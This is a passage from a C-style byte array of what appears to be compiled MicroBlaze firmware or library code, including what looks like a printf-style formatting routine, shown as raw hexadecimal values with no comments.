0xbe, 0x12, 0x00, 0x14,
0x10, 0x63, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x63, 0x18, 0x00,
0x80, 0xe7, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0xe0, 0x05, 0x9c,
0xb8, 0x10, 0xfd, 0x08,
0x10, 0xa6, 0x00, 0x00,
0x22, 0x40, 0x00, 0x54,
0x16, 0x43, 0x90, 0x03,
0xbc, 0x52, 0x00, 0xdc,
0x90, 0x64, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x30, 0x63, 0x00, 0x6e,
0xb8, 0x10, 0xfc, 0x88,
0x60, 0xa3, 0x00, 0x08,
0x12, 0x60, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0xe8,
0x30, 0x60, 0x00, 0x01,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x80, 0x09, 0xa4,
0xb8, 0x10, 0xfd, 0x98,
0xa4, 0x64, 0x00, 0x07,
0x10, 0xc9, 0x00, 0x00,
0x10, 0x8c, 0x00, 0x00,
0xa4, 0x66, 0x00, 0x03,
0x30, 0x84, 0xff, 0xf8,
0xbe, 0x03, 0x00, 0xc4,
0x30, 0xc6, 0xff, 0xff,
0xe8, 0x64, 0x00, 0x08,
0x16, 0x44, 0x18, 0x00,
0xbe, 0x12, 0xff, 0xec,
0xa4, 0x66, 0x00, 0x03,
0x10, 0xa5, 0x28, 0x00,
0x16, 0x45, 0x38, 0x03,
0xbc, 0x52, 0xfa, 0xbc,
0xbe, 0x05, 0xfa, 0xb8,
0x84, 0x65, 0x38, 0x00,
0xbc, 0x03, 0x00, 0xcc,
0xb8, 0x10, 0xf9, 0x9c,
0x11, 0x2b, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x0a, 0x08,
0x10, 0xd3, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0xc0, 0x0a, 0x08,
0xb8, 0x00, 0xfd, 0x10,
0xa4, 0x65, 0x00, 0x7f,
0xbe, 0x23, 0xfd, 0x08,
0x10, 0x73, 0xd0, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xeb, 0x00, 0x05, 0xa0,
0xa0, 0x63, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x04,
0xb8, 0x00, 0xfd, 0xec,
0x22, 0x40, 0x01, 0x54,
0x16, 0x43, 0x90, 0x03,
0xbc, 0x52, 0x00, 0x68,
0x90, 0x64, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x30, 0x63, 0x00, 0x77,
0xb8, 0x10, 0xfb, 0x98,
0x60, 0xa3, 0x00, 0x08,
0xa8, 0x65, 0xff, 0xff,
0x84, 0x67, 0x18, 0x00,
0xf8, 0x7b, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xe0, 0x05, 0x9c,
0xb8, 0x10, 0xff, 0x44,
0x10, 0xa5, 0x28, 0x00,
0x22, 0x40, 0x05, 0x54,
0x16, 0x43, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x28,
0x30, 0x60, 0x00, 0x7e,
0xb8, 0x10, 0xfb, 0x64,
0x30, 0xa0, 0x03, 0xf0,
0x10, 0xa5, 0x28, 0x00,
0x84, 0x67, 0x28, 0x00,
0xbe, 0x23, 0xff, 0x30,
0x31, 0x6b, 0x00, 0x04,
0xb8, 0x10, 0xff, 0xf4,
0x10, 0xa5, 0x28, 0x00,
0x90, 0x64, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x30, 0x63, 0x00, 0x7c,
0xb8, 0x10, 0xfa, 0xf8,
0x60, 0xa3, 0x00, 0x08,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x04, 0xa4,
0xf8, 0xa1, 0x00, 0x04,
0xf8, 0xc1, 0x00, 0x08,
0xf8, 0xe1, 0x00, 0x0c,
0xf9, 0x01, 0x00, 0x10,
0xf9, 0x21, 0x00, 0x14,
0xf9, 0x41, 0x00, 0x18,
0x30, 0x21, 0xff, 0xdc,
0xfa, 0x61, 0x00, 0x20,
0xf9, 0xe1, 0x00, 0x00,
0xbe, 0x04, 0x00, 0x14,
0x12, 0x65, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x18,
0xbe, 0x03, 0x00, 0x30,
0x10, 0xa4, 0x00, 0x00,
0x30, 0x61, 0x00, 0x2c,
0x10, 0xd3, 0x00, 0x00,
0xe8, 0xa4, 0x00, 0x04,
0xf8, 0x61, 0x00, 0x1c,
0xb9, 0xf4, 0x26, 0xc4,
0x10, 0xe3, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x20,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x24,
0xb9, 0xf4, 0x56, 0x24,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x04, 0xa4,
0xb8, 0x10, 0xff, 0xcc,
0x30, 0x61, 0x00, 0x2c,
0xf8, 0xc1, 0x00, 0x08,
0xf8, 0xe1, 0x00, 0x0c,
0xf9, 0x01, 0x00, 0x10,
0xf9, 0x21, 0x00, 0x14,
0xf9, 0x41, 0x00, 0x18,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x20,
0xfa, 0xc1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0x65, 0x00, 0x00,
0xbe, 0x05, 0x00, 0x10,
0x12, 0xc6, 0x00, 0x00,
0xe8, 0x65, 0x00, 0x18,
0xbc, 0x03, 0x00, 0x34,
0x30, 0x61, 0x00, 0x34,
0x10, 0xb3, 0x00, 0x00,
0x10, 0xf6, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x04,
0xf8, 0x61, 0x00, 0x1c,
0xb9, 0xf4, 0x02, 0x1c,
0x11, 0x03, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x20,
0xea, 0xc1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xb9, 0xf4, 0x55, 0xa4,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xcc,
0x30, 0x61, 0x00, 0x34,
0x30, 0x21, 0xff, 0xc0,
0xfa, 0x61, 0x00, 0x38,
0x12, 0x65, 0x00, 0x00,
0x10, 0xa6, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x3c,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x01, 0x7c,
0x12, 0xc6, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x80, 0xff, 0x70,
0x30, 0xa0, 0x00, 0x01,
0x30, 0xc3, 0x00, 0x01,
0xf8, 0x81, 0x00, 0x30,
0xf8, 0xa1, 0x00, 0x34,
0x30, 0x81, 0x00, 0x28,
0x30, 0xa0, 0x00, 0x02,
0xfa, 0xc1, 0x00, 0x28,
0xf8, 0xc1, 0x00, 0x24,
0xf8, 0x81, 0x00, 0x1c,
0xf8, 0xa1, 0x00, 0x20,
0xf8, 0x61, 0x00, 0x2c,
0xbc, 0x13, 0x00, 0x10,
0xe8, 0x73, 0x00, 0x18,
0xbe, 0x03, 0x00, 0x34,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0xb3, 0x00, 0x04,
0xb9, 0xf4, 0x5f, 0x8c,
0x30, 0xc1, 0x00, 0x1c,
0x8c, 0x63, 0x04, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x38,
0xea, 0xc1, 0x00, 0x3c,
0x14, 0x63, 0x00, 0x00,
0xa0, 0x63, 0x00, 0x0a,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x40,
0xb9, 0xf4, 0x55, 0x04,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xcc,
0x30, 0x21, 0xff, 0xc0,
0xfa, 0x61, 0x00, 0x38,
0xfa, 0xc1, 0x00, 0x3c,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xea, 0x60, 0x04, 0xa4,
0xb9, 0xf4, 0x00, 0xe0,
0x12, 0xc5, 0x00, 0x00,
0x30, 0x83, 0x00, 0x01,
0xf8, 0x81, 0x00, 0x24,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x80, 0xff, 0x70,
0x30, 0xa0, 0x00, 0x02,
0xf8, 0xa1, 0x00, 0x20,
0xf8, 0x81, 0x00, 0x30,
0x30, 0xa0, 0x00, 0x01,
0x30, 0x81, 0x00, 0x28,
0xfa, 0xc1, 0x00, 0x28,
0xf8, 0xa1, 0x00, 0x34,
0xf8, 0x81, 0x00, 0x1c,
0xf8, 0x61, 0x00, 0x2c,
0xbc, 0x13, 0x00, 0x10,
0xe8, 0x73, 0x00, 0x18,
0xbe, 0x03, 0x00, 0x34,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0xb3, 0x00, 0x04,
0xb9, 0xf4, 0x5e, 0xf0,
0x30, 0xc1, 0x00, 0x1c,
0x8c, 0x63, 0x04, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x38,
0xea, 0xc1, 0x00, 0x3c,
0x14, 0x63, 0x00, 0x00,
0xa0, 0x63, 0x00, 0x0a,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x40,
0xb9, 0xf4, 0x54, 0x68,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xcc,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0x65, 0x00, 0x00,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x00, 0x22, 0x44,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xdb, 0x54,
0x10, 0xa6, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbc, 0x12, 0x00, 0x14,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x22, 0x44,
0xbc, 0x04, 0xff, 0xe8,
0xf8, 0x93, 0x00, 0x0c,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x81, 0x20, 0x00, 0x00,
0xa4, 0x65, 0x00, 0x03,
0xbc, 0x23, 0x00, 0x30,
0xc8, 0x65, 0x48, 0x00,
0x80, 0x83, 0x04, 0x00,
0xbc, 0x24, 0x00, 0x0c,
0xb8, 0x10, 0xff, 0xf4,
0x31, 0x29, 0x00, 0x04,
0xc0, 0x65, 0x48, 0x00,
0xbc, 0x03, 0x00, 0x0c,
0xb8, 0x10, 0xff, 0xf8,
0x31, 0x29, 0x00, 0x01,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x60, 0x48, 0x00,
0x35, 0x43, 0x00, 0x04,
0xc0, 0x65, 0x48, 0x00,
0xbe, 0x03, 0xff, 0xf0,
0x31, 0x4a, 0xff, 0xff,
0xbe, 0x2a, 0xff, 0xf4,
0x31, 0x29, 0x00, 0x01,
0xb8, 0x00, 0xff, 0xbc,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x30, 0x21, 0xf9, 0x14,
0xfa, 0xc1, 0x06, 0xc4,
0xfb, 0x41, 0x06, 0xd4,
0xfb, 0xc1, 0x06, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x06, 0xc0,
0xfa, 0xe1, 0x06, 0xc8,
0xfb, 0x01, 0x06, 0xcc,
0xfb, 0x21, 0x06, 0xd0,
0xfb, 0x61, 0x06, 0xd8,
0xfb, 0x81, 0x06, 0xdc,
0xfb, 0xa1, 0x06, 0xe0,
0xfb, 0xe1, 0x06, 0xe8,
0xf8, 0xa1, 0x06, 0xf0,
0x13, 0xc6, 0x00, 0x00,
0x12, 0xc7, 0x00, 0x00,
0xb9, 0xf4, 0x64, 0x1c,
0x13, 0x48, 0x00, 0x00,
0xe8, 0x63, 0x00, 0x00,
0xf8, 0x61, 0x06, 0xa4,
0xe8, 0x61, 0x06, 0xf0,
0xbc, 0x03, 0x00, 0x0c,
0xe8, 0x63, 0x00, 0x18,
0xbc, 0x03, 0x0a, 0x2c,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x5e, 0x01, 0xa8,
0xbc, 0x12, 0x0a, 0x38,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x5e, 0x01, 0xc8,
0xbc, 0x12, 0x0d, 0xcc,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x5e, 0x01, 0xe8,
0xbc, 0x12, 0x0d, 0xd0,
0xe4, 0x7e, 0x00, 0x0c,
0xa4, 0x63, 0x00, 0x08,
0xbc, 0x03, 0x0a, 0x24,
0xe8, 0x7e, 0x00, 0x10,
0xbc, 0x03, 0x0a, 0x1c,
0xe4, 0x7e, 0x00, 0x0c,
0x91, 0x23, 0x00, 0x61,
0xa4, 0x89, 0x00, 0x1a,
0xaa, 0x44, 0x00, 0x0a,
0xbe, 0x32, 0x00, 0xd0,
0x33, 0xa1, 0x00, 0x88,
0xe5, 0x9e, 0x00, 0x0e,
0x90, 0x6c, 0x00, 0x61,
0xbe, 0x43, 0x00, 0xc0,
0x32, 0x61, 0x00, 0xc8,
0xe9, 0x5e, 0x00, 0x20,
0xe9, 0x7e, 0x00, 0x28,
0xe8, 0xa1, 0x06, 0xf0,
0x10, 0xf6, 0x00, 0x00,
0x11, 0x1a, 0x00, 0x00,
0xa4, 0x69, 0xff, 0xfd,
0x30, 0x81, 0x02, 0x80,
0x31, 0x20, 0x04, 0x00,
0xf4, 0x61, 0x00, 0xd4,
0xf5, 0x81, 0x00, 0xd6,
0xf9, 0x41, 0x00, 0xe8,
0xf9, 0x61, 0x00, 0xf0,
0xf8, 0x81, 0x00, 0xd8,
0xf9, 0x21, 0x00, 0xdc,
0xf8, 0x81, 0x00, 0xc8,
0xf9, 0x21, 0x00, 0xd0,
0xf8, 0x01, 0x00, 0xe0,
0xb9, 0xf4, 0xfe, 0xfc,
0x10, 0xd3, 0x00, 0x00,
0xf8, 0x61, 0x06, 0xb0,
0xbc, 0x43, 0x00, 0x14,
0xb9, 0xf4, 0x50, 0x10,
0x10, 0xb3, 0x00, 0x00,
0xbe, 0x23, 0x0b, 0x40,
0x30, 0x80, 0xff, 0xff,
0xe4, 0x61, 0x00, 0xd4,
0xa4, 0x63, 0x00, 0x40,
0xbc, 0x03, 0x00, 0x10,
0xe4, 0x7e, 0x00, 0x0c,
0xa0, 0x63, 0x00, 0x40,
0xf4, 0x7e, 0x00, 0x0c,
0xe8, 0x61, 0x06, 0xb0,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x06, 0xc0,
0xea, 0xc1, 0x06, 0xc4,
0xea, 0xe1, 0x06, 0xc8,
0xeb, 0x01, 0x06, 0xcc,
0xeb, 0x21, 0x06, 0xd0,
0xeb, 0x41, 0x06, 0xd4,
0xeb, 0x61, 0x06, 0xd8,
0xeb, 0x81, 0x06, 0xdc,
0xeb, 0xa1, 0x06, 0xe0,
0xeb, 0xc1, 0x06, 0xe4,
0xeb, 0xe1, 0x06, 0xe8,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x06, 0xec,
0x13, 0xf6, 0x00, 0x00,
0x13, 0x1d, 0x00, 0x00,
0x12, 0xe0, 0x00, 0x00,
0x10, 0x80, 0x00, 0x00,
0x10, 0xa0, 0x00, 0x00,
0xfa, 0xe1, 0x06, 0xa0,
0xfb, 0xa1, 0x00, 0x54,
0xfa, 0xe1, 0x06, 0xb0,
0xfa, 0xe1, 0x06, 0x94,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x06, 0x90,
0xfa, 0xe1, 0x00, 0x58,
0xf8, 0x81, 0x06, 0x88,
0xf8, 0xa1, 0x06, 0x8c,
0xe0, 0x7f, 0x00, 0x00,
0x90, 0x83, 0x00, 0x60,
0xbe, 0x04, 0x00, 0x70,
0x12, 0xdf, 0x00, 0x00,
0xaa, 0x44, 0x00, 0x25,
0xbc, 0x12, 0x00, 0x64,
0x32, 0xd6, 0x00, 0x01,
0xe0, 0x76, 0x00, 0x00,
0x90, 0x83, 0x00, 0x60,
0xbe, 0x04, 0x00, 0x10,
0x17, 0x3f, 0xb0, 0x00,
0xaa, 0x44, 0x00, 0x25,
0xbc, 0x32, 0xff, 0xe8,
0xbc, 0x19, 0x00, 0x44,
0xea, 0xe1, 0x00, 0x5c,
0xea, 0x61, 0x00, 0x58,
0xfb, 0xf8, 0x00, 0x00,
0x12, 0xf7, 0xc8, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x38, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0x52, 0x09, 0x94,
0x33, 0x18, 0x00, 0x08,
0xe8, 0xa1, 0x06, 0xb0,
0xe0, 0x76, 0x00, 0x00,
0x10, 0xa5, 0xc8, 0x00,
0xf8, 0xa1, 0x06, 0xb0,
0x90, 0x63, 0x00, 0x60,
0xbe, 0x03, 0x1c, 0xb4,
0x10, 0xc0, 0x00, 0x00,
0xf0, 0x01, 0x00, 0x24,
0xf8, 0xc1, 0x06, 0xac,
0x30, 0x80, 0xff, 0xff,
0xe0, 0x76, 0x00, 0x01,
0x33, 0xf6, 0x00, 0x01,
0xf8, 0xc1, 0x06, 0xb4,
0xf8, 0x81, 0x06, 0xa8,
0x93, 0x63, 0x00, 0x60,
0x33, 0xff, 0x00, 0x01,
0x30, 0x7b, 0xff, 0xe0,
0x22, 0x40, 0x00, 0x58,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x14,
0x60, 0x63, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x00,
0xe8, 0x83, 0xff, 0xd8,
0x98, 0x08, 0x20, 0x00,
0xbe, 0x1b, 0x1c, 0x68,
0x33, 0x80, 0x00, 0x01,
0x13, 0x3c, 0x00, 0x00,
0x30, 0x81, 0x01, 0x24,
0xfb, 0x41, 0x06, 0x80,
0xf8, 0x81, 0x06, 0xb8,
0xf3, 0x61, 0x01, 0x24,
0xf0, 0x01, 0x00, 0x24,
0x10, 0xa0, 0x00, 0x00,
0xf8, 0xa1, 0x06, 0x98,
0xe8, 0x81, 0x06, 0xb4,
0xa4, 0x64, 0x00, 0x02,
0xbc, 0x03, 0x00, 0x08,
0x33, 0x9c, 0x00, 0x02,
0xe8, 0xa1, 0x06, 0xb4,
0xa4, 0xa5, 0x00, 0x84,
0xf8, 0xa1, 0x06, 0xbc,
0xbc, 0x25, 0x01, 0x24,
0xe8, 0xc1, 0x06, 0xac,
0x16, 0xdc, 0x30, 0x00,
0xbc, 0x76, 0x01, 0x18,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x16, 0x8c,
0xea, 0xe1, 0x00, 0x5c,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x4c,
0xb8, 0x10, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x10,
0x13, 0x1d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x00, 0x6c,
0x32, 0xf7, 0x00, 0x10,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x10,
0xf8, 0x78, 0x00, 0x04,
0xfb, 0x58, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0xcc,
0x33, 0x18, 0x00, 0x08,
0xbe, 0x17, 0xff, 0xbc,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x5a, 0xc0,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0x05, 0xb0,
0x12, 0x77, 0x00, 0x00,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbe, 0x52, 0xff, 0xa0,
0x13, 0x1d, 0x00, 0x00,
0x12, 0xf7, 0xb0, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x58, 0x00, 0x00,
0xfa, 0xd8, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x58,
0x33, 0x18, 0x00, 0x08,
0xbe, 0x37, 0x0b, 0x00,
0x12, 0x77, 0x00, 0x00,
0xe0, 0x61, 0x00, 0x24,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0x00, 0x48,
0x13, 0x1d, 0x00, 0x00,
0xe8, 0x81, 0x06, 0xb4,
0xa4, 0x64, 0x00, 0x02,
0xbe, 0x03, 0x00, 0x78,
0x30, 0x60, 0x00, 0x30,
0xf0, 0x61, 0x00, 0x28,
0xf3, 0x61, 0x00, 0x29,
0x30, 0x61, 0x00, 0x28,
0x32, 0xf7, 0x00, 0x02,
0x32, 0x73, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x00,
0xb8, 0x10, 0x00, 0x2c,
0x30, 0x80, 0x00, 0x02,
0xea, 0xe1, 0x00, 0x5c,
0xea, 0x61, 0x00, 0x58,
0xe0, 0x61, 0x00, 0x24,
0xbc, 0x03, 0xff, 0xc4,
0x30, 0x61, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x00,
0x30, 0x80, 0x00, 0x01,
0xf8, 0x98, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x33, 0x18, 0x00, 0x08,
0xbe, 0x37, 0x09, 0xd0,
0x12, 0x77, 0x00, 0x00,
0x13, 0x1d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0xa1, 0x06, 0xbc,
0xaa, 0x45, 0x00, 0x80,
0xbc, 0x12, 0x03, 0xd0,
0xe8, 0x61, 0x06, 0x98,
0x16, 0xd9, 0x18, 0x00,
0xbc, 0x76, 0x00, 0xd8,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x0b, 0xdc,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x10,
0x13, 0x1d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x00, 0x6c,
0x32, 0xf7, 0x00, 0x10,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x10,
0xf8, 0x78, 0x00, 0x04,
0xfb, 0x58, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0xcc,
0x33, 0x18, 0x00, 0x08,
0xbe, 0x17, 0xff, 0xbc,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x59, 0x4c,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0x04, 0x3c,
0x12, 0x77, 0x00, 0x00,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbe, 0x52, 0xff, 0xa0,
0x13, 0x1d, 0x00, 0x00,
0x12, 0xf7, 0xb0, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x58, 0x00, 0x00,
0xfa, 0xd8, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x33, 0x18, 0x00, 0x08,
0xbe, 0x37, 0x09, 0x0c,
0x12, 0x77, 0x00, 0x00,
0x13, 0x1d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0x81, 0x06, 0xb4,
0xa4, 0x64, 0x01, 0x00,
0xbc, 0x23, 0x01, 0x7c,
0xe8, 0xa1, 0x06, 0xb8,
0x12, 0xf7, 0xc8, 0x00,
0x32, 0x73, 0x00, 0x01,
0xf8, 0xb8, 0x00, 0x00,
0xfb, 0x38, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x30, 0xb8, 0x00, 0x08,
0xbe, 0x37, 0x06, 0xe8,
0x10, 0xbe, 0x00, 0x00,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x04,
0xbc, 0x03, 0x00, 0xe0,
0xe8, 0x61, 0x06, 0xac,
0x16, 0xdc, 0x18, 0x00,
0xbc, 0x76, 0x00, 0xd8,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x14, 0x68,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x4c,
0xb8, 0x10, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x10,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x00, 0x6c,
0x32, 0xf7, 0x00, 0x10,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x10,
0xf8, 0x65, 0x00, 0x04,
0xfb, 0x45, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0xcc,
0x30, 0xa5, 0x00, 0x08,
0xbe, 0x17, 0xff, 0xbc,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x58, 0x14,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0x03, 0x04,
0x12, 0x77, 0x00, 0x00,
0x32, 0xd6, 0xff, 0xf0,
